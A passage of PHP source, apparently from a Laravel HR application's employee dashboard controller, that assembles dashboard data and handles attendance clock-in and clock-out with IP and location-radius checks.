!now($this->company->timezone)->between($officeStartTime, $officeEndTime) && $showClockIn->show_clock_in_button == 'no' && $this->attendanceSettings->shift_type == 'strict') { $this->cannotLogin = true; } elseif($this->attendanceSettings->shift_type == 'strict') { $earlyClockIn = now($this->company->timezone)->setTimezone('UTC'); if (!$earlyClockIn->between($officeStartTime, $officeEndTime) && $showClockIn->show_clock_in_button == 'no') { $this->cannotLogin = true; } elseif ($this->cannotLogin && now()->betweenIncluded($officeStartTime->copy()->subDay(), $officeEndTime->copy()->subDay())) { $this->cannotLogin = false; } } $currentDate = now(); $this->checkJoiningDate = true; if (is_null(user()->employeeDetail->joining_date) || user()->employeeDetail->joining_date->gt($currentDate)) { $this->checkJoiningDate = false; } $this->viewEventPermission = user()->permission('view_events'); $this->viewHolidayPermission = user()->permission('view_holiday'); $this->viewTaskPermission = user()->permission('view_tasks'); $this->viewTicketsPermission = user()->permission('view_tickets'); $this->viewLeavePermission = user()->permission('view_leave'); $this->viewNoticePermission = user()->permission('view_notice'); $this->editTimelogPermission = user()->permission('edit_timelogs'); // Getting Attendance setting data if (request('start') && request('end') && !is_null($this->viewEventPermission) && $this->viewEventPermission != 'none') { $eventData = array(); $events = Event::with('attendee', 'attendee.user'); if ($this->viewEventPermission == 'added') { $events->where('events.added_by', $this->user->id); } elseif ($this->viewEventPermission == 'owned' || $this->viewEventPermission == 'both') { $events->where('events.added_by', $this->user->id) ->orWhere(function ($q) { $q->whereHas('attendee.user', function ($query) { $query->where('user_id', $this->user->id); }); }); } $events = $events->get(); foreach ($events as $key => $event) { $eventData[] = [ 'id' => $event->id, 'title' => $event->event_name, 'start' => $event->start_date_time, 'end' => $event->end_date_time, 'extendedProps' => ['bg_color' => $event->label_color, 'color' => '#fff'], ]; } return $eventData; } $this->totalProjects = Project::select('projects.id') ->where('completion_percent', '<>', 100) ->join('project_members', 'project_members.project_id', '=', 'projects.id') ->where('project_members.user_id', $this->user->id) ->distinct() ->count('projects.id'); $this->counts = User::without(['clientDetails', 'employeeDetail', 'roles', 'session'])->withCount([ 'timeLogs as totalHoursLogged' => function ($query) { $query->select(DB::raw('IFNULL(sum(total_minutes), 0)')) ->where('user_id', $this->user->id); }, 'tasks as totalCompletedTasks' => function ($query) use ($completedTaskColumn) { $query->where('tasks.board_column_id', $completedTaskColumn->id) ->whereHas('taskUsers', function ($query) { $query->where('user_id', $this->user->id); }); } ]) ->findOrFail($this->user->id); if (!is_null($this->viewNoticePermission) && $this->viewNoticePermission != 'none') { if ($this->viewNoticePermission == 'added') { $this->notices = Notice::latest()->where('added_by', $this->user->id) ->select('id', 'heading', 'created_at') ->limit(10) ->get(); } elseif ($this->viewNoticePermission == 'owned') { $this->notices = Notice::with('member')->latest() ->select('id', 'heading', 'created_at') ->where(function ($query) { $query->whereNull('department_id') ->where('to', 'employee') ->orWhere('department_id', $this->user->employeeDetail->department_id); }) ->whereHas('member', function ($query) { $query->where('user_id', auth()->id()); }) ->limit(10) ->get(); } elseif ($this->viewNoticePermission == 'both') { $this->notices = Notice::with('member')->latest() ->select('id', 'heading', 'created_at') ->where('added_by', $this->user->id) ->orWhere(function ($q) { $q->where(['to' => 'employee', 'department_id' => null]) ->orWhere(['department_id' => $this->user->employeeDetail->department_id]); }) ->whereHas('member', function ($query) { $query->where('user_id', auth()->id()); }) ->limit(10) ->get(); } elseif ($this->viewNoticePermission == 'all') { $this->notices = Notice::latest() ->select('id', 'heading', 'created_at') ->limit(10) ->get(); } } $this->tickets = Ticket::whereIn('status', ['open', 'pending']) ->where(function ($query) { $query->where('user_id', user()->id) ->orWhere('agent_id', user()->id); }) ->orderByDesc('updated_at') ->limit(10) ->get(); $checkTicketAgent = TicketAgentGroups::select('id')->where('agent_id', user()->id)->first(); if (!is_null($checkTicketAgent)) { $this->totalOpenTickets = Ticket::with('agent')->whereHas('agent', function ($q) { $q->where('id', user()->id); })->where('status', 'open')->count(); } $tasks = $this->pendingTasks = Task::with(['activeProject', 'boardColumn', 'labels']) ->join('task_users', 'task_users.task_id', '=', 'tasks.id') ->where('task_users.user_id', $this->user->id) ->where('tasks.board_column_id', '<>', $completedTaskColumn->id) ->select('tasks.*') ->distinct() ->orderBy('tasks.id', 'desc') ->get(); $this->inProcessTasks = $tasks->count(); $this->dueTasks = $tasks->filter(function ($item) { return !is_null($item->due_date) && $item->due_date->endOfDay()->isPast(); })->count(); $projects = Project::with('members') ->where('completion_percent', '<>', '100') ->leftJoin('project_members', 'project_members.project_id', 'projects.id') ->leftJoin('users', 'project_members.user_id', 'users.id') ->selectRaw('project_members.user_id, projects.deadline as due_date, projects.id') ->where('project_members.user_id', $this->user->id) ->groupBy('projects.id') ->get(); $projects = $projects->whereNotNull('due_date'); $this->dueProjects = $projects->filter(function ($value) { return now(company()->timezone)->gt($value->due_date); })->count(); // Getting Current Clock-in if exist $defaultShift = EmployeeShift::where('id', $this->company->attendanceSetting->default_employee_shift) ->select('id', 'office_start_time', 'office_end_time') ->first(); $Utc = now(company()->timezone)->format('p'); $this->shiftStartDateTime = $officeStartTime; $this->shiftEndDateTime = $officeEndTime; // Fetch current clock-in record'd , to Link ATA if (!now(company()->timezone)->greaterThan($officeEndTime) && $showClockIn && $showClockIn->show_clock_in_button == 'no' || $showClockIn->show_clock_in_button == null){ $this->currentClockIn = Attendance::whereNull('clock_out_time') ->select('id', 'clock_in_time', 'clock_out_time', 'employee_shift_id') ->where('user_id', $this->user->id) ->where(function ($query) use ($officeStartTime, $officeEndTime,$Utc) { if ($this->attendanceSettings->shift_type == 'strict') { $query->whereBetween(DB::raw("CONVERT_TZ(clock_in_time, '+00:00', '{$Utc}')"), [$officeStartTime, $officeEndTime]); } else { $query->whereBetween(DB::raw("CONVERT_TZ(clock_in_time, '+00:00', '{$Utc}')"), [now()->startOfDay(), now()->endOfDay()]); } }) ->first(); }elseif ($showClockIn && ($showClockIn->show_clock_in_button == 'yes' || $showClockIn->show_clock_in_button == null || $showClockIn->employee_clock_in_out == 'yes')){ $this->currentClockIn = Attendance::whereNull('clock_out_time') ->select('id', 'clock_in_time', 'clock_out_time', 'employee_shift_id') ->where('user_id', $this->user->id) ->whereDate(DB::raw("CONVERT_TZ(clock_in_time, '+00:00', '{$Utc}')"), now($Utc)->format('Y-m-d')) ->first(); if(!$this->currentClockIn){ $this->currentClockIn = Attendance::whereNull('clock_out_time') ->select('id', 'clock_in_time', 'clock_out_time', 'employee_shift_id') ->where('user_id', $this->user->id) ->where(function ($query) use ($officeStartTime, $officeEndTime,$Utc) { $query->whereBetween(DB::raw("CONVERT_TZ(clock_in_time, '+00:00', '{$Utc}')"), [$officeStartTime, $officeEndTime]); }) ->first(); } }else{ $this->currentClockIn = null; $this->cannotLogin = true; } $currentDate = now(company()->timezone)->format('Y-m-d'); $this->checkTodayLeave = Leave::where('status', 'approved') ->select('id') ->where('leave_date', now(company()->timezone)->toDateString()) ->where('user_id', user()->id) ->where('duration', '<>', 'half day') ->first(); // Check Holiday by date $this->checkTodayHoliday = Holiday::where('date', $currentDate) ->where(function ($query) use ($user) { $query->orWhere('department_id_json', 'like', '%"' . $user->employeeDetail->department_id . '"%') ->orWhereNull('department_id_json'); }) ->where(function ($query) use ($user) { $query->orWhere('designation_id_json', 'like', '%"' . $user->employeeDetail->designation_id . '"%') ->orWhereNull('designation_id_json'); }) ->where(function ($query) use ($user) { if (!is_Null($user->employeeDetail->employment_type)) { $query->orWhere('employment_type_json', 'like', '%"' . $user->employeeDetail->employment_type . '"%') ->orWhereNull('employment_type_json'); } }) ->first(); $this->myActiveTimer = ProjectTimeLog::with('task', 'user', 'project', 'breaks', 'activeBreak') ->where('user_id', user()->id) ->whereNull('end_time') ->first(); $currentDay = now(company()->timezone)->format('m-d'); $this->upcomingBirthdays = EmployeeDetails::whereHas('user', function ($query) { return $query->where('status', 'active'); }) ->with('user', 'user.employeeDetail.designation:id,name') ->select('*', 'date_of_birth', DB::raw('MONTH(date_of_birth) months'), DB::raw('DAY(date_of_birth) as day')) ->whereNotNull('date_of_birth') ->where(function ($query) use ($currentDay) { $query->whereRaw('DATE_FORMAT(`date_of_birth`, "%m-%d") >= "' . $currentDay . '"')->orderBy('date_of_birth'); }) ->limit('5') ->orderBy('months') ->orderBy('day') ->get()->values()->all(); $this->leave = Leave::with('user', 'type')->where('status', 'approved') ->where('leave_date', today(company()->timezone)->toDateString()) ->get(); $this->workFromHome = Attendance::with('user') ->select('id', 'user_id') ->where('work_from_type', 'home') ->where(DB::raw('DATE(attendances.clock_in_time)'), now()->toDateString()) ->groupBy('user_id') ->get(); $this->leadAgent = LeadAgent::where('user_id', $this->user->id)->where('status', 'enabled')->first(); // Deal Data if (!is_null($this->leadAgent)) { $this->deals = Deal::select('deals.*', 'pipeline_stages.slug')->with('leadAgent', 'leadStage')->whereHas('leadAgent', function ($q) { $q->where('user_id', $this->user->id); })->join('pipeline_stages', 'pipeline_stages.id', 'deals.pipeline_stage_id') ->get(); $this->convertedDeals = $this->deals->filter(function ($value) { return $value->slug == 'win'; })->count(); // Deal Follow Up Data $this->dealFollowUps = DealFollowUp::with('lead')->whereHas('lead', function ($q) { $q->whereHas('leadAgent', function ($q) { $q->where('user_id', $this->user->id); }); })->get(); $this->pendingDealFollowUps = $this->dealFollowUps->filter(function ($value) { return $value->status == 'pending' && Carbon::parse($value->next_follow_up_date)->lt(now()); })->count(); $this->completedDealFollowUps = $this->dealFollowUps->filter(function ($value) { return $value->status == 'pending' && Carbon::parse($value->next_follow_up_date)->isFuture(); })->count(); } $now = now(company()->timezone); $this->weekStartDate = $now->copy()->startOfWeek($showClockIn->week_start_from); $this->weekEndDate = $this->weekStartDate->copy()->addDays(14); $this->weekPeriod = CarbonPeriod::create($this->weekStartDate, $this->weekStartDate->copy()->addDays(6)); // Get All Dates from start to end date $this->employeeShifts = EmployeeShiftSchedule::where('user_id', user()->id) ->whereBetween(DB::raw('DATE(`date`)'), [$this->weekStartDate->format('Y-m-d'), $this->weekEndDate->format('Y-m-d')]) ->select(DB::raw('DATE_FORMAT(date, "%Y-%m-%d") as dates'), 'employee_shift_schedules.*') ->with('shift', 'user', 'requestChange') ->get(); $this->employeeShiftDates = $this->employeeShifts->pluck('dates')->toArray(); $currentWeekDates = []; $weekShifts = []; $weekHolidays = Holiday::whereBetween(DB::raw('DATE(`date`)'), [$this->weekStartDate->format('Y-m-d'), $this->weekEndDate->format('Y-m-d')]) ->where(function ($query) use ($user) { $query->where(function ($subquery) use ($user) { $subquery->where(function ($q) use ($user) { $q->where('department_id_json', 'like', '%"' . $user->employeeDetails->department_id . '"%') ->orWhereNull('department_id_json'); }); $subquery->where(function ($q) use ($user) { $q->where('designation_id_json', 'like', '%"' . $user->employeeDetails->designation_id . '"%') ->orWhereNull('designation_id_json'); }); $subquery->where(function ($q) use ($user) { $q->where('employment_type_json', 'like', '%"' . $user->employeeDetails->employment_type . '"%') ->orWhereNull('employment_type_json'); }); }); }) ->select(DB::raw('DATE_FORMAT(`date`, "%Y-%m-%d") as hdate'), 'occassion') ->get(); $holidayDates = $weekHolidays->pluck('hdate')->toArray(); $weekLeaves = Leave::with('type') ->select(DB::raw('DATE_FORMAT(`leave_date`, "%Y-%m-%d") as ldate'), 'leaves.*') ->where('user_id', user()->id) ->whereBetween(DB::raw('DATE(`leave_date`)'), [$this->weekStartDate->format('Y-m-d'), $this->weekEndDate->format('Y-m-d')]) ->where('status', 'approved') ->where('duration', '<>', 'half day') ->get(); $leaveDates = $weekLeaves->pluck('ldate')->toArray(); $generalShift = Company::with(['attendanceSetting', 'attendanceSetting.shift'])->first(); // phpcs:ignore for ($i = $this->weekStartDate->copy(); $i < $this->weekEndDate->copy(); $i->addDay()) { $date = Carbon::parse($i); array_push($currentWeekDates, $date); if (in_array($date->toDateString(), $holidayDates)) { $leave = []; foreach ($weekHolidays as $holiday) { if ($holiday->hdate == $date->toDateString()) { $leave = ' ' . $holiday->occassion; } } array_push($weekShifts, $leave); } elseif (in_array($date->toDateString(), $leaveDates)) { $leave = []; foreach ($weekLeaves as $leav) { if ($leav->ldate == $date->toDateString()) { $leave = __('app.onLeave') . ': ' . $leav->type->type_name . ''; } } array_push($weekShifts, $leave); } elseif (in_array($date->toDateString(), $this->employeeShiftDates)) { $shiftSchedule = []; foreach ($this->employeeShifts as $shift) { if ($shift->dates == $date->toDateString()) { $shiftSchedule = $shift; } } array_push($weekShifts, $shiftSchedule); } else { $defaultShift = ($generalShift && $generalShift->attendanceSetting && $generalShift->attendanceSetting->shift) ? '' . $generalShift->attendanceSetting->shift->shift_name . '' : '--'; array_push($weekShifts, $defaultShift); } } $this->upcomingAnniversaries = EmployeeDetails::whereHas('user', function ($query) { return $query->where('status', 'active'); }) ->with('user') ->select('employee_details.id', 'employee_details.user_id', 'employee_details.joining_date', DB::raw('MONTH(joining_date) months'), DB::raw('DAY(joining_date) as day')) ->whereNotNull('joining_date') ->where(function ($query) use ($currentDay) { $query->whereRaw('DATE_FORMAT(`joining_date`, "%m-%d") = "' . $currentDay . '"')->orderBy('joining_date'); }) ->orderBy('months') ->orderBy('day') ->get()->values()->all(); $this->currentWeekDates = $currentWeekDates; $this->weekShifts = $weekShifts; $this->showClockIn = $showClockIn->show_clock_in_button; $this->event_filter = explode(',', user()->employeeDetail->calendar_view); $this->widgets = DashboardWidget::where('dashboard_type', 'private-dashboard')->get(); $this->activeWidgets = $this->widgets->filter(function ($value, $key) { return $value->status == '1'; })->pluck('widget_name')->toArray(); $this->dateWiseTimelogs = ProjectTimeLog::dateWiseTimelogs(now()->toDateString(), user()->id); $this->dateWiseTimelogBreak = ProjectTimeLogBreak::dateWiseTimelogBreak(now()->toDateString(), user()->id); $this->weekWiseTimelogs = ProjectTimeLog::weekWiseTimelogs($this->weekStartDate->copy()->toDateString(), $this->weekEndDate->copy()->toDateString(), user()->id); $this->weekWiseTimelogBreak = ProjectTimeLogBreak::weekWiseTimelogBreak($this->weekStartDate->toDateString(), $this->weekEndDate->toDateString(), user()->id); $this->dayMinutes = $this->dateWiseTimelogs->sum('total_minutes'); $this->dayBreakMinutes = $this->dateWiseTimelogBreak->sum('total_minutes'); $loggedMinutes = $this->dayMinutes - $this->dayBreakMinutes; $this->totalDayMinutes = $this->formatTime($loggedMinutes); $this->totalDayBreakMinutes = $this->formatTime($this->dayBreakMinutes); $this->appreciations = Appreciation::with(['award', 'award.awardIcon']) ->with(['awardTo.employeeDetail', 'awardTo.employeeDetail.designation:id,name']) ->orderByDesc('award_date') ->latest() ->limit(5) ->get(); $currentDay = now(company()->timezone)->format('Y-m-d'); $this->employees = EmployeeDetails::with('user') ->whereHas('user', function ($query) { $query->where('status', 'active'); })->without('clientDetails'); if (in_array('admin', user_roles())) { $employees = $this->employees->clone() ->where(function ($query) use ($currentDay) { $query->whereNotNull('notice_period_end_date') ->where('notice_period_end_date', '>=', $currentDay) ->orWhere(function ($query) use ($currentDay) { $query->whereNotNull('probation_end_date') ->where('probation_end_date', '>=', $currentDay); }) ->orWhere(function ($query) use ($currentDay) { $query->whereNotNull('internship_end_date') ->where('internship_end_date', '>=', $currentDay); }) ->orWhere(function ($query) use ($currentDay) { $query->whereNotNull('contract_end_date') ->where('contract_end_date', '>=', $currentDay); }); }) ->orderBy('notice_period_end_date', 'asc') ->orderBy('probation_end_date', 'asc') ->orderBy('internship_end_date', 'asc') ->orderBy('contract_end_date', 'asc') ->get(); $this->noticePeriod = $employees->filter(function ($employee) { return $employee->notice_period_end_date !== null; })->sortBy('notice_period_end_date')->values(); $this->probations = $employees->filter(function ($employee) { return $employee->probation_end_date !== null; })->sortBy('probation_end_date')->values(); $this->internships = $employees->filter(function ($employee) { return $employee->internship_end_date !== null; })->sortBy('internship_end_date')->values(); $this->contracts = $employees->filter(function ($employee) { return $employee->contract_end_date !== null; })->sortBy('contract_end_date')->values(); } else { $userId = user()->id; $employee = $this->employees->clone() ->where('user_id', $userId) ->where(function ($query) use ($currentDay) { $query->whereNotNull('notice_period_end_date') ->where('notice_period_end_date', '>=', $currentDay) ->orWhere(function ($query) use ($currentDay) { $query->whereNotNull('probation_end_date') ->where('probation_end_date', '>=', $currentDay); }) ->orWhere(function ($query) use ($currentDay) { $query->whereNotNull('internship_end_date') ->where('internship_end_date', '>=', $currentDay); }) ->orWhere(function ($query) use ($currentDay) { $query->whereNotNull('contract_end_date') ->where('contract_end_date', '>=', $currentDay); }); }) ->first(); $this->noticePeriod = $employee && $employee->notice_period_end_date && $employee->notice_period_end_date >= $currentDay ? $employee : null; $this->probation = $employee && $employee->probation_end_date && $employee->probation_end_date >= $currentDay ? $employee : null; $this->internship = $employee && $employee->internship_end_date && $employee->internship_end_date >= $currentDay ? $employee : null; $this->contract = $employee && $employee->contract_end_date && $employee->contract_end_date >= $currentDay ? $employee : null; } return view('dashboard.employee.index', $this->data); } private function formatTime($totalMinutes) { $hours = intdiv($totalMinutes, 60); $minutes = $totalMinutes % 60; return $hours > 0 ? $hours . 'h' . ($minutes > 0 ? ' ' . sprintf('%02dm', $minutes) : '') : ($minutes > 0 ? sprintf('%dm', $minutes) : '0s'); } public function clockInModal() { $showClockIn = AttendanceSetting::first(); $this->attendanceSettings = $this->attendanceShift($showClockIn); $startTimestamp = now($this->company->timezone)->format('Y-m-d') . ' ' . $this->attendanceSettings->office_start_time; $endTimestamp = now($this->company->timezone)->format('Y-m-d') . ' ' . $this->attendanceSettings->office_end_time; $officeStartTime = Carbon::createFromFormat('Y-m-d H:i:s', $startTimestamp, $this->company->timezone); $officeEndTime = Carbon::createFromFormat('Y-m-d H:i:s', $endTimestamp, $this->company->timezone); if ($officeStartTime->gt($officeEndTime)) { $officeEndTime->addDay(); } $this->cannotLogin = false; if ($showClockIn->employee_clock_in_out == 'yes') { if (is_null($this->attendanceSettings->early_clock_in) && !now($this->company->timezone)->between($officeStartTime, $officeEndTime) && $showClockIn->show_clock_in_button == 'no' && $this->attendanceSettings->shift_type == 'strict') { $this->cannotLogin = true; } elseif($this->attendanceSettings->shift_type == 'strict') { $earlyClockIn = now($this->company->timezone)->addMinutes($this->attendanceSettings->early_clock_in); if (!$earlyClockIn->gte($officeStartTime) && $showClockIn->show_clock_in_button == 'no') { $this->cannotLogin = true; } } if (now($this->company->timezone)->betweenIncluded($officeStartTime->copy()->subDay(), $officeEndTime->copy()->subDay())) { $this->cannotLogin = false; } } else { $this->cannotLogin = true; } $this->shiftAssigned = $this->attendanceSettings; $this->attendanceSettings = attendance_setting(); $this->location = CompanyAddress::all(); return view('dashboard.employee.clock_in_modal', $this->data); } public function storeClockIn(ClockInRequest $request) { $now = now($this->company->timezone); $showClockIn = AttendanceSetting::first(); $this->attendanceSettings = $this->attendanceShift($showClockIn); $startTimestamp = now($this->company->timezone)->format('Y-m-d') . ' ' . $this->attendanceSettings->office_start_time; $endTimestamp = now($this->company->timezone)->format('Y-m-d') . ' ' . $this->attendanceSettings->office_end_time; $officeStartTime = Carbon::createFromFormat('Y-m-d H:i:s', $startTimestamp, $this->company->timezone); $officeEndTime = Carbon::createFromFormat('Y-m-d H:i:s', $endTimestamp, $this->company->timezone); if ($showClockIn->show_clock_in_button == 'yes') { $officeEndTime = now($this->company->timezone); } // check if user has clocked in on time or not $lateCheckData = Attendance::whereBetween('clock_in_time', [ $officeStartTime->copy()->timezone(config('app.timezone')), $officeEndTime->copy()->timezone(config('app.timezone')) ]) ->where('user_id', $this->user->id) ->orderBy('clock_in_time', 'asc') ->first(); $isLate = 'yes'; if ($lateCheckData && $lateCheckData->late === 'no' || $this->attendanceSettings->shift_type == 'flexible') { // user has reached office on time ,so late check will be disabled now $isLate = 'no'; } if ($officeStartTime->gt($officeEndTime)) { $officeEndTime->addDay(); } $this->cannotLogin = false; if ($this->attendanceSettings->shift_type == 'strict') { $clockInCount = Attendance::getTotalUserClockInWithTime($officeStartTime, $officeEndTime, $this->user->id); } else { $Utc = now(company()->timezone)->format('p'); $clockInCount = Attendance::where('user_id', $this->user->id) ->whereDate(DB::raw("CONVERT_TZ(clock_in_time, '+00:00', '{$Utc}')"), now($Utc)->format('Y-m-d')) ->count(); } if ($showClockIn->employee_clock_in_out == 'yes') { if (is_null($this->attendanceSettings->early_clock_in) && !now($this->company->timezone)->between($officeStartTime, $officeEndTime) && $showClockIn->show_clock_in_button == 'no' && $this->attendanceSettings->shift_type == 'strict') { $this->cannotLogin = true; } elseif($this->attendanceSettings->shift_type == 'strict') { $earlyClockIn = now($this->company->timezone)->addMinutes($this->attendanceSettings->early_clock_in); if ($earlyClockIn->gte($officeStartTime) || $showClockIn->show_clock_in_button == 'yes') { $this->cannotLogin = false; } else { $this->cannotLogin = true; } } if ($this->cannotLogin && now($this->company->timezone)->betweenIncluded($officeStartTime->copy()->subDay(), $officeEndTime->copy()->subDay())) { $this->cannotLogin = false; $clockInCount = Attendance::getTotalUserClockInWithTime($officeStartTime->copy()->subDay(), $officeEndTime->copy()->subDay(), $this->user->id); } } else { $this->cannotLogin = true; } abort_403($this->cannotLogin); if($request->work_from_type !== 'home'){ // Check user by ip if (attendance_setting()->ip_check == 'yes') { $ips = (array)json_decode(attendance_setting()->ip_address); if (!in_array($request->ip(), $ips)) { return Reply::error(__('messages.notAnAuthorisedDevice')); } } // Check user by location if (attendance_setting()->radius_check == 'yes') { $checkRadius = $this->isWithinRadius($request, $this->user); if(attendance_setting()->auto_clock_in_location !== 'home'){ if (!$checkRadius) { return Reply::error(__('messages.notAnValidLocation')); } } } } // Check maximum attendance in a day if ($clockInCount < $this->attendanceSettings->clockin_in_day) { if ($this->attendanceSettings->halfday_mark_time) { $halfDayTimes = Carbon::createFromFormat('Y-m-d H:i:s', $now->format('Y-m-d') . ' ' . $this->attendanceSettings->halfday_mark_time, $this->company->timezone); } $officeStartTime = Carbon::createFromFormat('Y-m-d H:i:s', $now->format('Y-m-d') . ' ' . $this->attendanceSettings->office_start_time, $this->company->timezone); $lateTime = $officeStartTime->addMinutes($this->attendanceSettings->late_mark_duration); $checkTodayAttendance = Attendance::where('user_id', $this->user->id) ->where(DB::raw('DATE(attendances.clock_in_time)'), '=', $now->format('Y-m-d'))->first(); $attendance = new Attendance(); $attendance->user_id = $this->user->id; $attendance->clock_in_time = $now->copy()->timezone(config('app.timezone')); $attendance->clock_in_ip = request()->ip(); $attendance->working_from = $request->working_from; $attendance->location_id = $request->location; $attendance->work_from_type = $request->work_from_type; if ($now->gt($lateTime) && $isLate === 'yes') { $attendance->late = 'yes'; } $leave = Leave::where('leave_date', $attendance->clock_in_time->format('Y-m-d')) ->where('status', 'approved') ->where('user_id', $this->user->id)->first(); if (isset($leave) && !is_null($leave->half_day_type) && $this->attendanceSettings->shift_type == 'strict') { $attendance->half_day = 'yes'; } else { $attendance->half_day = 'no'; } $this->attendanceSettings = $this->attendanceShift($showClockIn); $startTimestamp = now($this->company->timezone)->format('Y-m-d') . ' ' . $this->attendanceSettings->office_start_time; $endTimestamp = now($this->company->timezone)->format('Y-m-d') . ' ' . $this->attendanceSettings->office_end_time; $officeStartTime = Carbon::createFromFormat('Y-m-d H:i:s', $startTimestamp, $this->company->timezone); $officeEndTime = Carbon::createFromFormat('Y-m-d H:i:s', $endTimestamp, $this->company->timezone); // shift crosse if ($officeStartTime->gt($officeEndTime)) { // check if shift end time is less then current time then shift not ended yet if(now(company()->timezone)->lessThan($officeEndTime)){ $officeStartTime->subDay(); }else{ $officeEndTime->addDay(); } } $startTimePeriod = $officeStartTime->format('A'); // AM or 'PM' $halfdayPeriod = $halfDayTimes->format('A'); // Assume $halfday is a Carbon instance or similarly formatted $timeFlag = false; $Utc = now(company()->timezone)->format('p'); // Fetch current clock-in record'd if($this->attendanceSettings && $this->attendanceSettings->show_clock_in_button == 'no' || $this->attendanceSettings->show_clock_in_button == null){ $this->currentClockIn = Attendance::select('id', 'half_day', 'clock_in_time', 'clock_out_time', 'employee_shift_id') ->where('user_id', $this->user->id) ->where(function ($query) use ($officeStartTime, $officeEndTime,$Utc) { $query->whereBetween(DB::raw("CONVERT_TZ(clock_in_time, '+00:00', '{$Utc}')"), [$officeStartTime, $officeEndTime]); }) ->first(); }else{ $this->currentClockIn = Attendance::select('id','half_day', 'clock_in_time', 'clock_out_time', 'employee_shift_id') ->where('user_id', $this->user->id) ->whereDate(DB::raw("CONVERT_TZ(clock_in_time, '+00:00', '{$Utc}')"), now($Utc)->format('Y-m-d')) ->first(); } // First clock in happened and on time if ($this->currentClockIn && $this->currentClockIn->half_day == 'no') { $timeFlag = false; } else { $isSameDay = $officeStartTime->isSameDay(now($this->company->timezone)); $isNowAfterHalfDayTimes = now($this->company->timezone)->gt($halfDayTimes); if ($startTimePeriod === 'PM' && $halfdayPeriod === 'AM') { // Half day exists in the first half of the next day $timeFlag = ($officeEndTime->isSameDay(now($this->company->timezone)) && $isNowAfterHalfDayTimes); } else if ($startTimePeriod === 'AM' && $halfdayPeriod === 'PM') { // Half day exists in the second half of the same day $timeFlag = ($isSameDay && $isNowAfterHalfDayTimes); } else if (($startTimePeriod === 'PM' && $halfdayPeriod === 'PM') || ($startTimePeriod === 'AM' && $halfdayPeriod === 'AM')) { // Same day or next day depending on the start time if ($officeStartTime->gt($halfDayTimes)) { // Next day scenario $timeFlag = ($officeEndTime->isSameDay(now($this->company->timezone)) && $isNowAfterHalfDayTimes); } else { // Same day scenario $timeFlag = ($isSameDay && $isNowAfterHalfDayTimes); } } } // Check day's first record and half day time if ( now($this->company->timezone)->gt($halfDayTimes) && !is_null($this->attendanceSettings->halfday_mark_time) && is_null($checkTodayAttendance) && isset($halfDayTimes) && $timeFlag // && ($now->gt($halfDayTimes)) && ($showClockIn->show_clock_in_button == 'no') // DO NOT allow half day when allowed outside hours clock-in && $this->attendanceSettings->shift_type == 'strict' ) { $attendance->half_day = 'yes'; } $currentLatitude = $request->currentLatitude; $currentLongitude = $request->currentLongitude; if ($currentLatitude != '' && $currentLongitude != '') { $attendance->latitude = $currentLatitude; $attendance->longitude = $currentLongitude; } $attendance->employee_shift_id = $this->attendanceSettings->id; $attendance->shift_start_time = $attendance->clock_in_time->format('Y-m-d') . ' ' . $this->attendanceSettings->office_start_time; if (Carbon::parse($this->attendanceSettings->office_start_time, $this->company->timezone)->gt(Carbon::parse($this->attendanceSettings->office_end_time, $this->company->timezone))) { $attendance->shift_end_time = $attendance->clock_in_time->addDay()->format('Y-m-d') . ' ' . $this->attendanceSettings->office_end_time; } else { $attendance->shift_end_time = $attendance->clock_in_time->format('Y-m-d') . ' ' . $this->attendanceSettings->office_end_time; } $attendance->save(); return Reply::successWithData(__('messages.attendanceSaveSuccess'), ['time' => $now->format('h:i A'), 'ip' => $attendance->clock_in_ip, 'working_from' => $attendance->working_from]); } return Reply::error(__('messages.maxClockin')); } public function updateClockIn(Request $request) { $now = now($this->company->timezone); $attendance = Attendance::findOrFail($request->id); $this->attendanceSettings = attendance_setting(); if ($this->attendanceSettings->ip_check == 'yes') { $ips = (array)json_decode($this->attendanceSettings->ip_address); if (!in_array($request->ip(), $ips)) { return Reply::error(__('messages.notAnAuthorisedDevice')); } } $attendance->clock_out_time = $now->copy()->timezone(config('app.timezone')); $attendance->clock_out_ip = request()->ip(); $attendance->save(); if ($attendance->shift->shift_type == 'flexible') { $this->attendanceActivity = Attendance::userAttendanceByDate($attendance->clock_in_time, $attendance->clock_in_time, $attendance->user_id); $this->attendanceActivity->load('shift'); $attendanceActivity = clone $this->attendanceActivity; $attendanceActivity = $attendanceActivity->reverse()->values(); $this->totalTime = 0; foreach ($attendanceActivity as $key => $activity) { if ($key == 0) { $this->firstClockIn = $activity; $this->attendanceDate = ($activity->clock_in_time) ? Carbon::parse($activity->clock_in_time)->timezone($this->company->timezone) : Carbon::parse($this->firstClockIn->clock_in_time)->timezone($this->company->timezone); $this->startTime = Carbon::parse($this->firstClockIn->clock_in_time)->timezone($this->company->timezone); } $this->lastClockOut = $activity; if (!is_null($this->lastClockOut->clock_out_time)) { $this->endTime = Carbon::parse($this->lastClockOut->clock_out_time)->timezone($this->company->timezone); } $this->totalTime = $this->totalTime + $this->endTime->timezone($this->company->timezone)->diffInSeconds($activity->clock_in_time->timezone($this->company->timezone)); } $minimumHalfDayMinutes = ($attendance->shift->flexible_half_day_hours * 60); $totalMinimumMinutes = ($attendance->shift->flexible_total_hours * 60); $clockedTotalMinutes = floor($this->totalTime / 60); if ($clockedTotalMinutes >= $minimumHalfDayMinutes && $clockedTotalMinutes < $totalMinimumMinutes) { $attendance->half_day = 'yes'; $attendance->save(); } elseif ($clockedTotalMinutes < $minimumHalfDayMinutes) { $attendance->delete(); } } return Reply::success(__('messages.attendanceSaveSuccess')); } /** * Calculate distance between two geo coordinates using Haversine formula and then compare * it with $radius. * * If distance is less than the radius means two points are close enough hence return true. * Else return false. * * @param Request $request * * @return boolean */ private function isWithinRadius($request, $user) { $radius = attendance_setting()->radius; $currentLatitude = $request->currentLatitude ?: session('current_latitude'); $currentLongitude = $request->currentLongitude ?: session('current_longitude'); if ($user->employeeDetail && $user->employeeDetail->company_address_id) { $location = CompanyAddress::findOrFail($user->employeeDetail->company_address_id); } else { $location = CompanyAddress::where('is_default', 1)->where('company_id',$user->company_id)->first(); } $latFrom = deg2rad($location?->latitude); $latTo = deg2rad($currentLatitude); $lonFrom = deg2rad($location?->longitude); $lonTo = deg2rad($currentLongitude); $theta = $lonFrom - $lonTo; $dist = sin($latFrom) * sin($latTo) + cos($latFrom) * cos($latTo) * cos($theta); $dist = acos($dist); $dist = rad2deg($dist); $distance = $dist * 60 * 1.1515 * 1609.344; return $distance <= $radius; } public function attendanceShift($defaultAttendanceSettings) { $checkPreviousDayShift = EmployeeShiftSchedule::with('shift')->where('user_id', user()->id) ->where('date', now($this->company->timezone)->subDay()->toDateString()) ->first(); 